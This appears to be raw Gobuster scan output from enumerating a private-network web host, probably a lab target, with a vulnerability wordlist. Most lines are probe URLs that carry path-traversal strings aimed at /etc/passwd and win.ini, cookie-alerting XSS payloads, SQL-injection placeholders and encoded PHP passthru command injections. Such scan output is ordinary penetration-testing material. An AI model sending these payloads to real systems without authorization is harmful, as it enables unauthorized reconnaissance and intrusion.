```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.0.2.11
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/vulns/cgis.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
  [2K/./.php               (Status: 403) [Size: 274]
  [2K/./.html              (Status: 403) [Size: 274]
  [2K/./                   (Status: 200) [Size: 245]
  [2K/index.php?chemin=..%2F..%2F..%2F..%2F..%2F..%2F%2Fetc (Status:
200) [Size: 245]
  [2K/index.php?chemin=..%2F..%2F..%2F..%2F..%2F..%2F%2Fetc.html
(Status: 200) [Size: 245]
  [2K/index.php?chemin=..%2F..%2F..%2F..%2F..%2F..%2F%2Fetc.php
(Status: 200) [Size: 245]
  [2K/index.php?chemin=..%2F..%2F..%2F..%2F..%2F..%2F%2Fetc.txt
(Status: 200) [Size: 245]
  [2K/index.php/123          (Status: 200) [Size: 245]
  [2K/index.php/123.html     (Status: 200) [Size: 245]
  [2K/index.php/123.txt      (Status: 200) [Size: 245]
  [2K/index.php/123.php      (Status: 200) [Size: 245]
  [2K/?mod=node&nid=some_thing&op=view.html (Status: 200) [Size: 245]
  [2K/?mod=some_thing&op=browse.txt (Status: 200) [Size: 245]
  [2K/?mod=node&nid=some_thing&op=view (Status: 200) [Size: 245]
  [2K/?mod=some_thing&op=browse.html (Status: 200) [Size: 245]
  [2K/?mod=node&nid=some_thing&op=view.php (Status: 200) [Size: 245]
  [2K/?mod=node&nid=some_thing&op=view.txt (Status: 200) [Size: 245]
  [2K/?mod=some_thing&op=browse.php (Status: 200) [Size: 245]
  [2K/?mod=some_thing&op=browse (Status: 200) [Size: 245]
  [2K/index.php?file=index.php.php (Status: 200) [Size: 245]
  [2K/index.php?file=index.php (Status: 200) [Size: 245]
  [2K/index.php?file=index.php.txt (Status: 200) [Size: 245]
  [2K/index.php?file=index.php.html (Status: 200) [Size: 245]
  [2K/./.html              (Status: 403) [Size: 274]
  [2K/./                   (Status: 200) [Size: 245]
  [2K/./.php               (Status: 403) [Size: 274]
  [2K/.php                 (Status: 403) [Size: 274]
  [2K/.html                (Status: 403) [Size: 274]
  [2K/.php                 (Status: 403) [Size: 274]
  [2K/                     (Status: 200) [Size: 245]
  [2K/.html                (Status: 403) [Size: 274]
  [2K/?Open.php            (Status: 200) [Size: 245]
  [2K/?Open.html           (Status: 200) [Size: 245]
  [2K/?Open                (Status: 200) [Size: 245]
  [2K/?OpenServer          (Status: 200) [Size: 245]
```

```
[2K/?OpenServer.txt      (Status: 200) [Size: 245]
[2K/?OpenServer.php      (Status: 200) [Size: 245]
[2K/?Open.txt           (Status: 200) [Size: 245]
[2K/?OpenServer.html     (Status: 200) [Size: 245]
[2K/.html               (Status: 403) [Size: 274]
[2K/.php                (Status: 403) [Size: 274]
[2K/.php                (Status: 403) [Size: 274]
[2K/.php                (Status: 403) [Size: 274]
[2K/                    (Status: 200) [Size: 245]
[2K/.html               (Status: 403) [Size: 274]
[2K/.html               (Status: 403) [Size: 274]
[2K/%2e/                (Status: 200) [Size: 245]
[2K/%2e/.php            (Status: 403) [Size: 274]
[2K/%2e/.php            (Status: 403) [Size: 274]
[2K/%2e/.html           (Status: 403) [Size: 274]
[2K/%2e/.html           (Status: 403) [Size: 274]
[2K/%2e/.html           (Status: 403) [Size: 274]
[2K/%2e/.php            (Status: 403) [Size: 274]
[2K/%2e/                (Status: 200) [Size: 245]
[2K/%2e/                (Status: 200) [Size: 245]
[2K/../../../../../../../../../boot.ini (Status: 400) [Size: 301]
[2K/../../../../../../../../../boot.ini.php (Status: 400) [Size: 301]
[2K/../../../../winnt/repair/sam._.html (Status: 400) [Size: 301]
[2K/../../../../../../../../../boot.ini.html (Status: 400) [Size: 301]
[2K/../../../../../../../../../boot.ini.txt (Status: 400) [Size: 301]
[2K/../../../../winnt/repair/sam._.php (Status: 400) [Size: 301]
[2K/../../../../winnt/repair/sam._.txt (Status: 400) [Size: 301]
[2K/../../../../winnt/repair/sam._ (Status: 400) [Size: 301]
[2K///./../.../boot.ini.html (Status: 400) [Size: 301]
[2K///./../.../boot.ini  (Status: 400) [Size: 301]
[2K///./../.../boot.ini.txt (Status: 400) [Size: 301]
[2K///./../.../boot.ini.php (Status: 400) [Size: 301]
[2K/DomainFiles/*//../../../../../../../../../../etc/passwd (Status:
400) [Size: 301]
[2K/DomainFiles/*//../../../../../../../../../../etc/passwd.txt
(Status: 400) [Size: 301]
[2K/index.php?download=/winnt/win.ini (Status: 200) [Size: 245]
[2K/DomainFiles/*//../../../../../../../../../../etc/passwd.html
(Status: 400) [Size: 301]
[2K/DomainFiles/*//../../../../../../../../../../etc/passwd.php
(Status: 400) [Size: 301]
[2K/index.php?download=/winnt/win.ini.txt (Status: 200) [Size: 245]
[2K/index.php?download=/windows/win.ini (Status: 200) [Size: 245]
[2K/index.php?download=/winnt/win.ini.php (Status: 200) [Size: 245]
[2K/index.php?download=/etc/passwd.txt (Status: 200) [Size: 245]
[2K/index.php?download=/windows/win.ini.php (Status: 200) [Size: 245]
[2K/index.php?download=/windows/win.ini.txt (Status: 200) [Size: 245]
[2K/index.php?download=/windows/win.ini.html (Status: 200) [Size: 245]
[2K/index.php?download=/etc/passwd.html (Status: 200) [Size: 245]
[2K/index.php?download=/winnt/win.ini.html (Status: 200) [Size: 245]
[2K/index.php?|=../../../../../../../../../etc/passwd.php (Status: 200)
[Size: 245]
[2K/index.php?download=/etc/passwd (Status: 200) [Size: 245]
```

```
[2K/index.php?page=../../../../../../../../../../etc/passwd.html
(Status: 200) [Size: 245]
[2K/index.php?page=../../../../../../../../../../etc/passwd.php
(Status: 200) [Size: 245]
[2K/index.php?|=../../../../../../../../../etc/passwd.txt (Status: 200)
[Size: 245]
[2K/index.php?|=../../../../../../../../../etc/passwd.html (Status:
200) [Size: 245]
[2K/index.php?page=../../../../../../../../../../boot.ini (Status: 200)
[Size: 245]
[2K/index.php?|=../../../../../../../../../etc/passwd (Status: 200)
[Size: 245]
[2K/index.php?download=/etc/passwd.php (Status: 200) [Size: 245]
[2K/index.php?page=../../../../../../../../../../etc/passwd (Status:
200) [Size: 245]
[2K/index.php?page=../../../../../../../../../../boot.ini.html (Status:
200) [Size: 245]
[2K/index.php?l=forum/view.php&topic=../../../../../../../../../../etc/pas
swd (Status: 200) [Size: 245]
[2K/index.php?page=../../../../../../../../../../boot.ini.txt (Status:
200) [Size: 245]
[2K/index.php?l=forum/view.php&topic=../../../../../../../../../../etc/pas
swd.txt (Status: 200) [Size: 245]
[2K/index.php?page=../../../../../../../../../../boot.ini.php (Status:
200) [Size: 245]
[2K/index.php?l=forum/view.php&topic=../../../../../../../../../../etc/pas
swd.html (Status: 200) [Size: 245]
[2K/index.php?l=forum/view.php&topic=../../../../../../../../../../etc/pas
swd.php (Status: 200) [Size: 245]
[2K/index.php?page=../../../../../../../../../../etc/passwd.txt
(Status: 200) [Size: 245]
[2K/cgi-
bin/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.php
(Status: 400) [Size: 301]
[2K/cgi-
bin/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.html
(Status: 400) [Size: 301]
[2K/cgi-
bin/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
(Status: 400) [Size: 301]
[2K/cgi-
bin/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.txt
(Status: 400) [Size: 301]
[2K/../../../../../../../../../../etc/passwd (Status: 400) [Size: 301]
[2K/../../../../../../../../../../etc/passwd.php (Status: 400) [Size:
301]
[2K/../../../../../../../../../../etc/passwd.txt (Status: 400) [Size:
301]
[2K/../../../../../../../../../../etc/passwd.html (Status: 400) [Size:
301]
[2K/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini (Status: 400)
[Size: 301]
[2K/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini.html (Status:
400) [Size: 301]
```

```
[2K/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.txt
(Status: 400) [Size: 301]
  [2K/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini.php (Status:
400) [Size: 301]
  [2K/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
(Status: 400) [Size: 301]
  [2K/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.php
(Status: 400) [Size: 301]
  [2K/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.html
(Status: 400) [Size: 301]
  [2K/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini.txt (Status:
400) [Size: 301]
  [2K/index.php?module=My_eGallery (Status: 200) [Size: 245]
  [2K/index.php?module=My_eGallery.html (Status: 200) [Size: 245]
  [2K/index.php?module=My_eGallery.txt (Status: 200) [Size: 245]
  [2K/index.php?module=My_eGallery.php (Status: 200) [Size: 245]
  [2K/index.php?option=search&searchword=<script>alert(document.cookie);<
/script>.php (Status: 200) [Size: 245]
  [2K/index.php?option=search&searchword=<script>alert(document.cookie);<
/script> (Status: 200) [Size: 245]
  [2K/index.php?option=search&searchword=<script>alert(document.cookie);<
/script>.html (Status: 200) [Size: 245]
  [2K/index.php?option=search&searchword=<script>alert(document.cookie);<
/script>.txt (Status: 200) [Size: 245]
  [2K/index.php?dir=<script>alert('Vulnerable')</script>.html (Status:
200) [Size: 245]
  [2K/index.php?dir=<script>alert('Vulnerable')</script>.php (Status:
200) [Size: 245]
  [2K/index.php?dir=<script>alert('Vulnerable')</script> (Status: 200)
[Size: 245]
  [2K/index.php?dir=<script>alert('Vulnerable')</script>.txt (Status:
200) [Size: 245]
  [2K/index.php?top_message=&lt;script&gt;alert(document.cookie)&lt;/scri
pt&gt;.html (Status: 200) [Size: 245]
  [2K/index.php?top_message=&lt;script&gt;alert(document.cookie)&lt;/scri
pt&gt; (Status: 200) [Size: 245]
  [2K/index.php?file=Liens&op=\"><script>alert('Vulnerable');</script>
(Status: 200) [Size: 245]
  [2K/index.php?file=Liens&op=\"><script>alert('Vulnerable');</script>.tx
t (Status: 200) [Size: 245]
  [2K/index.php?top_message=&lt;script&gt;alert(document.cookie)&lt;/scri
pt&gt;.txt (Status: 200) [Size: 245]
  [2K/index.php?file=Liens&op=\"><script>alert('Vulnerable');</script>.ht
ml (Status: 200) [Size: 245]
  [2K/index.php?catid=&lt;script&gt;alert('Vulnerable')&lt;/script&gt;.ph
p (Status: 200) [Size: 245]
  [2K/index.php?action=storenew&username=<script>alert('Vulnerable')</scr
ipt> (Status: 200) [Size: 245]
  [2K/index.php?catid=&lt;script&gt;alert('Vulnerable')&lt;/script&gt;
(Status: 200) [Size: 245]
  [2K/index.php?action=search&searchFor=\"><script>alert('Vulnerable')</s
cript (Status: 200) [Size: 245]
  [2K/index.php?file=Liens&op=\"><script>alert('Vulnerable');</script>.ph
p (Status: 200) [Size: 245]
```

```
[2K/index.php?action=storenew&username=<script>alert('Vulnerable')</scr
ipt>.html (Status: 200) [Size: 245]
  [2K/index.php?catid=&lt;script&gt;alert('Vulnerable')&lt;/script&gt;.tx
t (Status: 200) [Size: 245]
  [2K/index.php/\"><script><script>alert(document.cookie)</script><.php
(Status: 200) [Size: 245]
  [2K/index.php?action=storenew&username=<script>alert('Vulnerable')</scr
ipt>.php (Status: 200) [Size: 245]
  [2K/index.php/\"><script><script>alert(document.cookie)</script><.html
(Status: 200) [Size: 245]
  [2K/index.php?action=search&searchFor=\"><script>alert('Vulnerable')</s
cript.txt (Status: 200) [Size: 245]
  [2K/index.php/content/search/?SectionID=3&SearchText=<script>alert(docu
ment.cookie)</script> (Status: 200) [Size: 245]
  [2K/index.php/content/search/?SectionID=3&SearchText=<script>alert(docu
ment.cookie)</script>.html (Status: 200) [Size: 245]
  [2K/index.php/content/search/?SectionID=3&SearchText=<script>alert(docu
ment.cookie)</script>.php (Status: 200) [Size: 245]
  [2K/index.php/content/search/?SectionID=3&SearchText=<script>alert(docu
ment.cookie)</script>.txt (Status: 200) [Size: 245]
  [2K/index.php?action=storenew&username=<script>alert('Vulnerable')</scr
ipt>.txt (Status: 200) [Size: 245]
  [2K/index.php/content/advancedsearch/?SearchText=<script>alert(document
.cookie)</script>&PhraseSearchText=<script>alert(document.cookie)</script
>&SearchContentClassID=-1&SearchSectionID=-1&SearchDate=-1&SearchBu.php
(Status: 200) [Size: 245]
  [2K/index.php/content/advancedsearch/?SearchText=<script>alert(document
.cookie)</script>&PhraseSearchText=<script>alert(document.cookie)</script
>&SearchContentClassID=-1&SearchSectionID=-1&SearchDate=-1&SearchBu.html
(Status: 200) [Size: 245]
  [2K/index.php?catid=&lt;script&gt;alert('Vulnerable')&lt;/script&gt;.ht
ml (Status: 200) [Size: 245]
  [2K/index.php?action=search&searchFor=\"><script>alert('Vulnerable')</s
cript.html (Status: 200) [Size: 245]
  [2K/index.php/\"><script><script>alert(document.cookie)</script><.txt
(Status: 200) [Size: 245]
  [2K/index.php/\"><script><script>alert(document.cookie)</script><
(Status: 200) [Size: 245]
  [2K/index.php?top_message=&lt;script&gt;alert(document.cookie)&lt;/scri
pt&gt;.php (Status: 200) [Size: 245]
  [2K/index.php/content/advancedsearch/?SearchText=<script>alert(document
.cookie)</script>&PhraseSearchText=<script>alert(document.cookie)</script
>&SearchContentClassID=-1&SearchSectionID=-1&SearchDate=-1&SearchBu
(Status: 200) [Size: 245]
  [2K/index.php?action=search&searchFor=\"><script>alert('Vulnerable')</s
cript.php (Status: 200) [Size: 245]
  [2K/index.php/content/advancedsearch/?SearchText=<script>alert(document
.cookie)</script>&PhraseSearchText=<script>alert(document.cookie)</script
>&SearchContentClassID=-1&SearchSectionID=-1&SearchDate=-1&SearchBu.txt
(Status: 200) [Size: 245]
  [2K/?mod=<script>alert(document.cookie)</script>&op=browse.txt (Status:
200) [Size: 245]
  [2K/?mod=<script>alert(document.cookie)</script>&op=browse (Status:
200) [Size: 245]
```

```
[2K/?mod=<script>alert(document.cookie)</script>&op=browse.html
(Status: 200) [Size: 245]
[2K/?mod=<script>alert(document.cookie)</script>&op=browse.php (Status:
200) [Size: 245]
[2K/?sql_debug=1.php      (Status: 200) [Size: 245]
[2K/?sql_debug=1          (Status: 200) [Size: 245]
[2K/?sql_debug=1.html     (Status: 200) [Size: 245]
[2K/?sql_debug=1.txt      (Status: 200) [Size: 245]
[2K/index.php?sql_debug=1.html (Status: 200) [Size: 245]
[2K/index.php?sql_debug=1.txt (Status: 200) [Size: 245]
[2K/index.php?sql_debug=1.php (Status: 200) [Size: 245]
[2K/index.php?sql_debug=1 (Status: 200) [Size: 245]
[2K/admin/               (Status: 200) [Size: 466]
[2K//.php                (Status: 403) [Size: 274]
[2K/admin/.html          (Status: 403) [Size: 274]
[2K/admin/.php           (Status: 403) [Size: 274]
[2K//                    (Status: 200) [Size: 245]
[2K//.html               (Status: 403) [Size: 274]
[2K/index.php?rep=<script>alert(document.cookie)</script>.php (Status:
200) [Size: 245]
[2K/index.php?rep=<script>alert(document.cookie)</script> (Status: 200)
[Size: 245]
[2K/index.php?rep=<script>alert(document.cookie)</script>.txt (Status:
200) [Size: 245]
[2K/index.php?rep=<script>alert(document.cookie)</script>.html (Status:
200) [Size: 245]
[2K/.html                (Status: 403) [Size: 274]
[2K/.html                (Status: 403) [Size: 274]
[2K/.php                 (Status: 403) [Size: 274]
[2K/.php                 (Status: 403) [Size: 274]
[2K/file/../../../../../../../../etc/.txt (Status: 400) [Size: 301]
[2K/file/../../../../../../../../etc/ (Status: 400) [Size: 301]
[2K/file/../../../../../../../../etc/.html (Status: 400) [Size: 301]
[2K/file/../../../../../../../../etc/.php (Status: 400) [Size: 301]
[2K/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../
../../etc (Status: 200) [Size: 245]
[2K/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../
../../etc.html (Status: 200) [Size: 245]
[2K/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../
../../etc/&view=passwd.php (Status: 200) [Size: 245]
[2K/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../
../../etc/&view=passwd (Status: 200) [Size: 245]
[2K/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../
../../etc.php (Status: 200) [Size: 245]
[2K/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../
../../etc.txt (Status: 200) [Size: 245]
[2K/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../
../../etc/&view=passwd.html (Status: 200) [Size: 245]
[2K/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../
../../etc/&view=passwd.txt (Status: 200) [Size: 245]
[2K/index.php?err=3&email=\"><script>alert(document.cookie)</script>.ph
p (Status: 200) [Size: 245]
[2K/index.php?err=3&email=\"><script>alert(document.cookie)</script>.tx
t (Status: 200) [Size: 245]
```

```
[2K/index.php?err=3&email=\"><script>alert(document.cookie)</script>
(Status: 200) [Size: 245]
[2K/index.php?err=3&email=\"><script>alert(document.cookie)</script>.ht
ml (Status: 200) [Size: 245]
[2K/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000.php (Status:
200) [Size: 245]
[2K/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000.html (Status:
200) [Size: 245]
[2K/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000.txt (Status:
200) [Size: 245]
[2K/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 (Status: 200)
[Size: 245]
[2K/index.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%
2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%5
3%5b%72%75%73%68%5d%29.%2527 (Status: 200) [Size: 245]
[2K/index.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%
2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%5
3%5b%72%75%73%68%5d%29.%2527.html (Status: 200) [Size: 245]
[2K/index.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%
2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%5
3%5b%72%75%73%68%5d%29.%2527.php (Status: 200) [Size: 245]
[2K/index.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%
2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%5
3%5b%72%75%73%68%5d%29.%2527.txt (Status: 200) [Size: 245]
[2K/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%64%69%72&highlight
=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52
%53%5b%72%75%73%68%5d%29.%2527.html (Status: 200) [Size: 245]
[2K/index.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&hi
ghlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%5
6%41%52%53%5b%72%75%73%68%5d%29.%2527 (Status: 200) [Size: 245]
[2K/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%64%69%72&highlight
=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52
%53%5b%72%75%73%68%5d%29.%2527 (Status: 200) [Size: 245]
[2K/index.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&hi
ghlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%5
6%41%52%53%5b%72%75%73%68%5d%29.%2527.txt (Status: 200) [Size: 245]
[2K/index.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&hi
ghlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%5
6%41%52%53%5b%72%75%73%68%5d%29.%2527.php (Status: 200) [Size: 245]
[2K/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%64%69%72&highlight
=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52
%53%5b%72%75%73%68%5d%29.%2527.txt (Status: 200) [Size: 245]
[2K/index.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&hi
ghlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%5
6%41%52%53%5b%72%75%73%68%5d%29.%2527.php (Status: 200) [Size: 245]
[2K/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%64%69%72&highlight
=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52
%53%5b%72%75%73%68%5d%29.%2527.php (Status: 200) [Size: 245]
[2K/index.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&hi
ghlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%5
6%41%52%53%5b%72%75%73%68%5d%29.%2527.txt (Status: 200) [Size: 245]
[2K/index.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&hi
ghlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%5
6%41%52%53%5b%72%75%73%68%5d%29.%2527.html (Status: 200) [Size: 245]
```

```
[2K/index.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&hi
ghlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%5
6%41%52%53%5b%72%75%73%68%5d%29.%2527 (Status: 200) [Size: 245]
    [2K/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&
highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f
%56%41%52%53%5b%72%75%73%68%5d%29.%2527.php (Status: 200) [Size: 245]
    [2K/index.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&hi
ghlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%5
6%41%52%53%5b%72%75%73%68%5d%29.%2527.html (Status: 200) [Size: 245]
    [2K/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&
highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f
%56%41%52%53%5b%72%75%73%68%5d%29.%2527 (Status: 200) [Size: 245]
    [2K/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&
highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f
%56%41%52%53%5b%72%75%73%68%5d%29.%2527.html (Status: 200) [Size: 245]
    [2K/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&
highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f
%56%41%52%53%5b%72%75%73%68%5d%29.%2527.txt (Status: 200) [Size: 245]
    [2K/server-status        (Status: 403) [Size: 274]
    [2K/?PageServices.html    (Status: 200) [Size: 245]
    [2K/?PageServices         (Status: 200) [Size: 245]
    [2K/?wp-cs-dump.txt       (Status: 200) [Size: 245]
    [2K/?PageServices.txt     (Status: 200) [Size: 245]
    [2K/?wp-cs-dump.php       (Status: 200) [Size: 245]
    [2K/?wp-cs-dump          (Status: 200) [Size: 245]
    [2K/?wp-cs-dump.html      (Status: 200) [Size: 245]
    [2K/?PageServices.php     (Status: 200) [Size: 245]
    [2K/../webserver.ini      (Status: 400) [Size: 301]
    [2K/../webserver.ini.php  (Status: 400) [Size: 301]
    [2K/../webserver.ini.txt  (Status: 400) [Size: 301]
    [2K/.php                  (Status: 403) [Size: 274]
    [2K/.html                 (Status: 403) [Size: 274]
    [2K/../webserver.ini.html (Status: 400) [Size: 301]
    [2K/.html                 (Status: 403) [Size: 274]
    [2K/.php                  (Status: 403) [Size: 274]
    [2K/.php                  (Status: 403) [Size: 274]
    [2K/.php                  (Status: 403) [Size: 274]
    [2K/.php                  (Status: 403) [Size: 274]
    [2K/.html                 (Status: 403) [Size: 274]
    [2K/.html                 (Status: 403) [Size: 274]
    [2K/.php                  (Status: 403) [Size: 274]
    [2K/.html                 (Status: 403) [Size: 274]
    [2K/.html                 (Status: 403) [Size: 274]
    [2K/.php                  (Status: 403) [Size: 274]
    [2K/.html                 (Status: 403) [Size: 274]
    [2K/.html                 (Status: 403) [Size: 274]
    [2K/.html                 (Status: 403) [Size: 274]
    [2K/.php                  (Status: 403) [Size: 274]
    [2K/.html                 (Status: 403) [Size: 274]
    [2K/.php                  (Status: 403) [Size: 274]
    [2K/.php                  (Status: 403) [Size: 274]
    [2K/.php                  (Status: 403) [Size: 274]
    [2K/.html                 (Status: 403) [Size: 274]
    [2K/.php                  (Status: 403) [Size: 274]
```

```
[2K/.php                      (Status: 403) [Size: 274]
[2K/.php                      (Status: 403) [Size: 274]
[2K/.html                     (Status: 403) [Size: 274]
[2K/.html                     (Status: 403) [Size: 274]
[2K/.html                     (Status: 403) [Size: 274]
[2K/.html                     (Status: 403) [Size: 274]
[2K/.html                     (Status: 403) [Size: 274]
[2K/.php                      (Status: 403) [Size: 274]
[2K/.php                      (Status: 403) [Size: 274]
[2K/.html                     (Status: 403) [Size: 274]
[2K/.php                      (Status: 403) [Size: 274]
[2K/.php                      (Status: 403) [Size: 274]
[2K/.html                     (Status: 403) [Size: 274]
[2K/.php                      (Status: 403) [Size: 274]
[2K/.html                     (Status: 403) [Size: 274]
[2K/.html                     (Status: 403) [Size: 274]
[2K/.php                      (Status: 403) [Size: 274]
[2K/.php                      (Status: 403) [Size: 274]
[2K/.html                     (Status: 403) [Size: 274]
[2K/.php                      (Status: 403) [Size: 274]
[2K/.html                     (Status: 403) [Size: 274]
[2K/.html                     (Status: 403) [Size: 274]
[2K/.php                      (Status: 403) [Size: 274]
[2K/.php                      (Status: 403) [Size: 274]
[2K/.html                     (Status: 403) [Size: 274]
[2K/.php                      (Status: 403) [Size: 274]
[2K/.html                     (Status: 403) [Size: 274]
[2K/../../../../../../../../../etc/*.txt (Status: 400) [Size: 301]
[2K/../../../../../../../../../etc/*.php (Status: 400) [Size: 301]
[2K/../../../../../../../../../etc/*.html (Status: 400) [Size: 301]
[2K/../../../../../../../../../etc/passw*.html (Status: 400) [Size:
301]
[2K/../../../../../../../../../etc/passw*.php (Status: 400) [Size:
301]
[2K/../../../../../../../../../etc/passw* (Status: 400) [Size: 301]
[2K/../../../../../../../../../etc/* (Status: 400) [Size: 301]
[2K/../../../../../../../../../etc/passw*.txt (Status: 400) [Size:
301]
[2K/index.php?vo=\"><script>alert(document.cookie);</script>.php
(Status: 200) [Size: 245]
[2K/index.php?vo=\"><script>alert(document.cookie);</script> (Status:
200) [Size: 245]
[2K/index.php?vo=\"><script>alert(document.cookie);</script>.txt
(Status: 200) [Size: 245]
[2K/index.php?vo=\"><script>alert(document.cookie);</script>.html
(Status: 200) [Size: 245]
[2K/../config.dat.php     (Status: 400) [Size: 301]
[2K/../config.dat.html    (Status: 400) [Size: 301]
[2K/../config.dat        (Status: 400) [Size: 301]
[2K/../config.dat.txt    (Status: 400) [Size: 301]
[2K/index.php?showforum=1&prune_day=100&sort_by=Z-
A&sort_key=[sqlgoeshere].txt (Status: 200) [Size: 245]
[2K/index.php?offset=[%20Problem%20Here%20].txt (Status: 200) [Size:
245]
```

```
[2K/index.php?offset=[%20Problem%20Here%20].php (Status: 200) [Size:
245]
[2K/index.php?showforum=1&prune_day=100&sort_by=Z-
A&sort_key=[sqlgoeshere] (Status: 200) [Size: 245]
[2K/index.php?showforum=1&prune_day=100&sort_by=Z-
A&sort_key=[sqlgoeshere].php (Status: 200) [Size: 245]
[2K/index.php?offset=[%20Problem%20Here%20].html (Status: 200) [Size:
245]
[2K/index.php?offset=[%20Problem%20Here%20] (Status: 200) [Size: 245]
[2K/index.php?showforum=1&prune_day=100&sort_by=Z-
A&sort_key=[sqlgoeshere].html (Status: 200) [Size: 245]
[2K/admin/              (Status: 200) [Size: 466]
[2K/admin/.html         (Status: 403) [Size: 274]
[2K/admin/.php          (Status: 403) [Size: 274]
[2K/admin/index.php     (Status: 200) [Size: 466]
[2K/index.php?base=test%20.html (Status: 200) [Size: 245]
[2K/index.php?base=test%20.txt (Status: 200) [Size: 245]
[2K/index.php?base=test%20 (Status: 200) [Size: 245]
[2K/index.php?pymembs=admin.php (Status: 200) [Size: 245]
[2K/index.php?IDAdmin=test (Status: 200) [Size: 245]
[2K/index.php?IDAdmin=test.php (Status: 200) [Size: 245]
[2K/index.php?SqlQuery=test%20.txt (Status: 200) [Size: 245]
[2K/index.php?tampon=test%20 (Status: 200) [Size: 245]
[2K/index.php?IDAdmin=test.html (Status: 200) [Size: 245]
[2K/index.php?base=test%20.php (Status: 200) [Size: 245]
[2K/index.php?tampon=test%20.php (Status: 200) [Size: 245]
[2K/index.php?topic=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt
;/script&amp;gt;%20 (Status: 200) [Size: 245]
[2K/index.php?tampon=test%20.txt (Status: 200) [Size: 245]
